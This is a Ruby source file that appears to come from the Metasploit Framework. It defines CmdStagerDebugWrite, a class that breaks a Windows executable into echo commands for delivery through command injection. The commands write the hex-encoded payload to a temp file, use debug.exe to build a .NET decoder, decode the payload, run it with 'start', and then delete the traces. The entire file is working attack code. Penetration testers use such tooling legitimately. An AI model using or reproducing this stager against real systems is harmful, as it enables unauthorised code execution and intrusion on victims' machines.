# -*- coding: binary -*-
##
# $Id: debug_write.rb 12595 2011-05-12 18:33:49Z jduck $
##

require 'rex/text'
require 'rex/arch'
require 'msf/core/framework'

module Rex
module Exploitation

###
#
# This class provides the ability to create a sequence of commands from an executable.
# When this sequence is ran via command injection or a shell, the resulting exe will
# be written to disk and executed.
#
# This particular version uses debug.exe to write a small .NET binary. That binary will
# take a hex-ascii file, created via echo >>, and decode it to the final binary.
#
# Requires: .NET, debug.exe
#
###

class CmdStagerDebugWrite < CmdStagerBase

	def initialize(exe)
		super

		@var_bypass  = Rex::Text.rand_text_alpha(8)
		@var_payload = Rex::Text.rand_text_alpha(8)
		@decoder     = nil # filled in later
	end


	#
	# Override just to set the extra byte count
	#
	def generate_cmds(opts)
		# Set the start/end of the commands here (vs initialize) so we have @tempdir
		@cmd_start = "echo "
		@cmd_end   = ">>#{@tempdir}#{@var_payload}"
		xtra_len = @cmd_start.length + @cmd_end.length + 1
		opts.merge!({ :extra => xtra_len })
		super
	end


	#
	# Simple hex encoding...
	#
	def encode_payload(opts)
		@exe.unpack('H*')[0]
	end


	#
	# Combine the parts of the encoded file with the stuff that goes
	# before / after it.
	#
	def parts_to_commands(parts, opts)

		cmds = []
		parts.each do |p|
			cmd = ''
			cmd << @cmd_start
			cmd << p
			cmd << @cmd_end
			cmds << cmd
		end

		cmds
	end


	#
	# Generate the commands that will decode the file we just created
	#
	def generate_cmds_decoder(opts)

		# Allow decoder stub override (needs to input base64 and output bin)
		@decoder = opts[:decoder] if (opts[:decoder])

		# Read the decoder data file
		f = File.new(@decoder, "rb")
		decoder = f.read(f.stat.size)
		f.close

		# Replace variables
		decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_bypass}")

		# Split it apart by the lines
		decoder.split("\n")
	end


	#
	# We override compress commands just to stick in a few extra commands
	# last second..
	#
	def compress_commands(cmds, opts)
		# Convert the debug script to an executable...
		cvt_cmd = ''
		if (@tempdir != '')
			cvt_cmd << "cd %TEMP% && "
		end
		cvt_cmd << "debug < #{@tempdir}#{@var_bypass}"
		cmds << cvt_cmd

		# Rename the resulting binary
		cmds << "move #{@tempdir}#{@var_bypass}.bin #{@tempdir}#{@var_bypass}.exe"

		# Converting the encoded payload...
		cmds << "#{@tempdir}#{@var_bypass}.exe #{@tempdir}#{@var_payload}"

		# Make it all happen
		cmds << "start #{@tempdir}#{@var_payload}.exe"

		# Clean up after unless requested not to..
		if (not opts[:nodelete])
			cmds << "del #{@tempdir}#{@var_bypass}.exe"
			cmds << "del #{@tempdir}#{@var_payload}"
			# XXX: We won't be able to delete the payload while it is running..
		end

		super
	end

	# Windows uses & to concat strings
	def cmd_concat_operator
		" & "
	end

end
end
end
